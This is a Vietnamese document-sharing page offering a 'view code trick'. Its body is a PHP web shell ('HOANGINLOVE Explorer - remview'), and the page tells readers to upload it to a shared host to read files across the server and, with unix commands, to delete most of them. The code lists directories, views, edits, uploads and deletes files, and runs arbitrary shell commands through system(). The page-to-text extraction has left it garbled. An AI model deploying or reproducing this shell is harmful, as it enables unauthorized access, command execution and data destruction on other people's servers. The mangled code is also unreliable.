intTypePromotion=1
zunia.vn Tuyển sinh 2024 dành cho Gen-Z zunia.vn zunia.vn
ADSENSE

Thủ thuật View code

Chia sẻ: Vietnam 9h | Ngày: | Loại File: DOC | Số trang:9

76
lượt xem
8
download
 
  Download Vui lòng tải xuống để xem tài liệu đầy đủ

Copy nội dung sau thành 1 file *.php. Up lên server, chạy file đó, bạn có thể xem code của hầu hết các file trong host, chịu khó tìm hiểu 1 chút thì có thể view code toàn server, hoạc thêm chút lệnh của unix nữa là có thể xóa del hầu hết mí file trong đó.

Chủ đề:
Lưu

Nội dung Text: Thủ thuật View code

  1. View code : trang này đã được đọc  lần  Copy nội dung sau thành 1 file *.php. Up lên server, chạy file đó, bạn có thể xem code của hầu  hết các file trong host, chịu khó tìm hiểu 1 chút thì có thể view code toàn server, hoạc thêm chút  lệnh của unix nữa là có thể xóa del hầu hết mí file trong đó.
  2.     HOANGINLOVE Explorer ­ remview     } table, div, tr,   td  {font: 13 'Verdana'; color:  }  a {text­decoration: none; color: "#00ff00" }  a:hover {text­decoration: underline; color: "#ff0000" }  ­­>   
  3. function showInfoDirectory($directory)  { global $PHP_SELF; $dirs = split("/", $directory);  print "Directory /"; for ($i = 1; $i  1024) printf("%.2f GBytes", $freeSpace/(1024*1024*1024));  else echo (int)($freeSpace/(1024*1024))."Mbytes\n"; };  function showDirectory($directory)  { global $files, $directories, $fileInfo, $PHP_SELF;  readDirectory($directory);  showInfoDirectory($directory); ?>      NAME  SIZE  LAST MODIF. 
  4. PERMISSIONS  ACTIONS      
  5. $this­>perms = $this­>permissions(fileperms($file));  $this­>size = filesize($file);  $this­>isLink = is_link($file);  if ($this­>isLink) $this­>linkTo = readlink($file);  $buffer = explode(".", $this­>fullname);  $this­>extension = $buffer[sizeof($buffer)­1]; } };  $fileInfo = new fileInfo; function showFileInfo($fileInfo)  { global $PHP_SELF, $associations; echo "\n";  if ($show_icons) {  echo ""; if ($fileInfo­>isDir) echo "";  elseif ($associations[$fileInfo­>extension]["icon"] != "") echo "extension]["icon"]."\">";  else echo ""; echo ""; } echo "";  if ($fileInfo­>isLink) { echo $fileInfo­>name." ­> ";  $fileInfo­>fullname = $fileInfo­>linkTo;  $fileInfo­>name = $fileInfo­>linkTo; }  if ($fileInfo­>isDir) { echo "fullname\" ";  echo ">$fileInfo­>name"; }  else echo $fileInfo­>name;  echo ""; 
  6. echo "$fileInfo­>size";  echo "$fileInfo­>lastmod";  echo "$fileInfo­>perms";  echo ""; if (!$fileInfo­>isDir) {  if ($fileInfo­>perms[6] == 'r') { echo "fullname&action=view\"> View"; }  if ($fileInfo­>perms[7] == 'w') {  echo "fullname&action=edit\"> Edit"; echo "fullname&action=delete\"> Del"; } }  echo ""; };  function viewFile($file)  { global $associations, $fileInfo;  $fileInfo­>getInfo($file);  if (!$associations[$fileInfo­>extension] || $associations[$fileInfo­>extension]["function"] == "")   showFile($file);  else $associations[$fileInfo­>extension]["function"]($file); };  function showFile($file, $editing = 0)  { global $PHP_SELF, $dir; $handlerFile = fopen($file, "r") or die("ERROR opening file $file");  if ($editing) echo " Edit file $file";  else echo "File $file";  echo "";  $buffer = fread($handlerFile, filesize($file)); 
  7. $buffer = str_replace("&", "&", $buffer);  $buffer = str_replace("", $buffer);  echo "$buffer";  if ($editing) echo " \n";  echo "";  fclose($handlerFile); };  function saveFile($file)  { global $dir, $text; $handlerFile = fopen($file, "w") or die("ERROR: Could not open file   ".basename($file)." for writing");  $text = stripslashes($text);  fwrite($handlerFile, $text, strlen($text)) or die("Error writing to file.");  fclose($handlerFile);  echo "Changes has been saved in ".basename($file)."";  $dir = dirname($file); };  function uploadFile()  { global $HTTP_POST_FILES,$dir;  copy($HTTP_POST_FILES["userfile"][tmp_name], $dir."/".$HTTP_POST_FILES["userfile"] [name]) or die("Error uploading file".$HTTP_POST_FILES["userfile"][name]);  echo "File ".$HTTP_POST_FILES["userfile"][name]." succesfully uploaded.";  //unlink($userfile); };  function deleteFile($file)
  8.  { global $confirm;  if ($confirm != TRUE) die("Confirm deletion of $file");  else {  if (!unlink($file)) return FALSE; return TRUE; } };  function viewFileHeader($file, $header)  { header($header); readfile($file); };  function viewGIF($file)  { viewFileHeader($file, "Content­type: image/gif"); };  function viewJPEG($file)  { viewFileHeader($file, "Content­type: image/jpeg"); };  switch ($action) { case "phpinfo": phpinfo();  die();  case "view": viewFile($dir);  break;  case "edit": showFile($dir, 1); break;  case "download": viewFileHeader($dir, "Content­type: unknown"); break; case "delete": if (! deleteFile($dir)) echo "Could not delete file $dir "; else echo "File $dir deleted succesfully "; $dir = dirname($dir);  showDirectory($dir);  break; case "exec": echo "\n";  echo system($dir);  echo "\n"; 
  9. exit();  case "upload": uploadFile(); showDirectory($dir);  break;  case "save": saveFile($dir);  default: showDirectory($dir); break; };  if ($action != "view"): ?>      >  Jump to directory Create directory  Execute shell cmd           
ADSENSE

CÓ THỂ BẠN MUỐN DOWNLOAD

 

Đồng bộ tài khoản
2=>2